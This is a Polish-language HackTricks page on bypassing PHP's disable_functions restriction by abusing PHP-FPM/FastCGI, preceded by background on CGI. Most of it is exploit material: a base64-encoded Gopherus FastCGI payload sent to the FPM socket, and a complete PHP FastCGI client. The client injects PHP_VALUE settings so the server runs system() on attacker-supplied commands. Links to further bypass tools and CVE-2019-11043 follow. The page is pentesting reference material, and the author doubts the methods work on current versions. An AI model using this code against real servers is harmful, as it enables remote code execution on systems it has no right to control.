disable_functions bypass - php-fpm/FastCGI

Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

PHP-FPM

PHP-FPM jest prezentowany jako lepsza alternatywa dla standardowego PHP FastCGI, oferując funkcje szczególnie korzystne dla stron internetowych o dużym ruchu. Działa poprzez proces nadrzędny nadzorujący zbiór procesów roboczych. Dla żądania skryptu PHP to serwer WWW inicjuje połączenie proxy FastCGI do usługi PHP-FPM. Ta usługa ma zdolność odbierania żądań zarówno za pośrednictwem portów sieciowych na serwerze, jak i gniazd Unix.

Mimo pośredniczącej roli połączenia proxy, PHP-FPM musi być aktywny na tym samym urządzeniu co serwer WWW. Po otrzymaniu żądania, dostępny proces roboczy z PHP-FPM przetwarza je — wykonuje skrypt PHP, a następnie przekazuje wyniki z powrotem do serwera WWW. Po zakończeniu przetwarzania żądania proces roboczy staje się ponownie dostępny dla nadchodzących żądań.

Ale co to jest CGI i FastCGI?

CGI

Zwykle strony internetowe, pliki i wszystkie dokumenty przesyłane z serwera WWW do przeglądarki są przechowywane w określonym katalogu publicznym, takim jak home/user/public_html. Gdy przeglądarka żąda określonej zawartości, serwer sprawdza ten katalog i wysyła wymagany plik do przeglądarki.

Jeśli CGI jest zainstalowany na serwerze, wtedy w tym katalogu dodawany jest także konkretny katalog cgi-bin, na przykład home/user/public_html/cgi-bin. Skrypty CGI są przechowywane w tym katalogu. Każdy plik w katalogu jest traktowany jako program wykonywalny. Podczas dostępu do skryptu z katalogu, serwer wysyła żądanie do aplikacji odpowiedzialnej za ten skrypt, zamiast wysyłać zawartość pliku do przeglądarki. Po zakończeniu przetwarzania danych wejściowych, aplikacja wysyła dane wyjściowe do serwera WWW, który przekazuje dane do klienta HTTP.

Na przykład, gdy skrypt CGI http://mysitename.com/cgi-bin/file.pl jest odwoływany, serwer uruchomi odpowiednią aplikację Perl za pośrednictwem CGI. Dane wygenerowane podczas wykonania skryptu zostaną wysłane przez aplikację do serwera WWW. Z kolei serwer przekaże dane do przeglądarki. Gdyby serwer nie miał CGI, przeglądarka wyświetlałaby kod pliku .pl. (wyjaśnienie z tutaj)

FastCGI

FastCGI to nowsza technologia internetowa, ulepszona wersja CGI zachowująca główne funkcje.

Potrzeba rozwoju FastCGI wynika z szybkiego rozwoju i złożoności aplikacji internetowych, a także z konieczności rozwiązania niedociągnięć skalowalności technologii CGI. Aby sprostać tym wymaganiom, Open Market wprowadził FastCGI – wydajną wersję technologii CGI z rozszerzonymi możliwościami.

Bypass funkcji disable

Możliwe jest uruchomienie kodu PHP nadużywając FastCGI i omijając ograniczenia disable_functions.

Za pomocą Gopherus

Nie jestem pewien, czy to działa w nowoczesnych wersjach, ponieważ próbowałem raz i nic się nie wykonało. Jeśli masz więcej informacji na ten temat, skontaktuj się ze mną za pośrednictwem [grupy telegramowej PEASS & HackTricks tutaj](https://t.me/peass), lub twittera [@carlospolopm](https://twitter.com/hacktricks_live).

Korzystając z Gopherus możesz wygenerować ładunek, który zostanie wysłany do nasłuchiwacza FastCGI i wykonać arbitralne polecenia:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

PHP exploit

Nie jestem pewien, czy to działa w nowoczesnych wersjach, ponieważ próbowałem raz i nie mogłem niczego wykonać. Faktycznie udało mi się zobaczyć, że phpinfo() z wykonania FastCGI wskazywało, że disable_functions było puste, ale PHP (w jakiś sposób) nadal uniemożliwiał mi wykonanie jakiejkolwiek wcześniej wyłączonej funkcji. Jeśli masz więcej informacji na ten temat, skontaktuj się ze mną za pośrednictwem [grupy telegram PEASS & HackTricks tutaj](https://t.me/peass), lub na twitterze [@carlospolopm](https://twitter.com/hacktricks_live).

Kod z tutaj.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
```php
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Złe żądanie');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('Ta aplikacja nie może wykonywać wielokrotnych połączeń [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('Nowe żądanie odrzucone; zbyt zajęty [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Nieznana wartość roli [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// prawdziwy exploit zaczyna się tutaj
if (!isset($_REQUEST['cmd'])) {
die("Sprawdź swoje dane wejściowe\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // ładunek php -- Nic nie robi
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Za pomocą poprzedniej funkcji zauważysz, że funkcja system jest nad​​al wyłączona, ale phpinfo() pokazuje puste disable_functions:

Więc sądzę, że możesz ustawić disable_functions tylko za pomocą plików konfiguracyjnych .ini PHP, a PHP_VALUE nie zastąpi tego ustawienia.

To skrypt PHP służący do wykorzystania protokołu fastcgi w celu ominięcia open_basedir i disable_functions. Pomoże Ci to ominąć rygorystyczne disable_functions w celu RCE poprzez ładowanie złośliwego rozszerzenia. Możesz uzyskać do niego dostęp tutaj: https://github.com/w181496/FuckFastcgi lub nieco zmodyfikowaną i ulepszoną wersję tutaj: https://github.com/BorelEnzo/FuckFastcgi

Zauważysz, że exploit jest bardzo podobny do poprzedniego kodu, ale zamiast próbować ominąć disable_functions za pomocą PHP_VALUE, próbuje załadować zewnętrzny moduł PHP w celu wykonania kodu, korzystając z parametrów extension_dir i extension wewnątrz zmiennej PHP_ADMIN_VALUE. UWAGA1: Prawdopodobnie będziesz musiał ponownie skompilować rozszerzenie z tą samą wersją PHP, którą używa serwer (możesz to sprawdzić w wyniku phpinfo):

UWAGA2: Udało mi się to uruchomić, wprowadzając wartości extension_dir i extension do pliku konfiguracyjnego PHP .ini (co nie będzie możliwe w ataku na serwer). Ale z jakiegoś powodu, korzystając z tego exploitu i ładowania rozszerzenia z zmiennej PHP_ADMIN_VALUE, proces po prostu się zawieszał, więc nie wiem, czy ta technika nadal jest ważna.

Luka w zdalnym wykonaniu kodu PHP-FPM (CVE-2019–11043)

Możesz wykorzystać tę lukę z phuip-fpizdam i przetestować ją za pomocą tego środowiska dockerowego: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043. Możesz także znaleźć analizę luki tutaj.

Last updated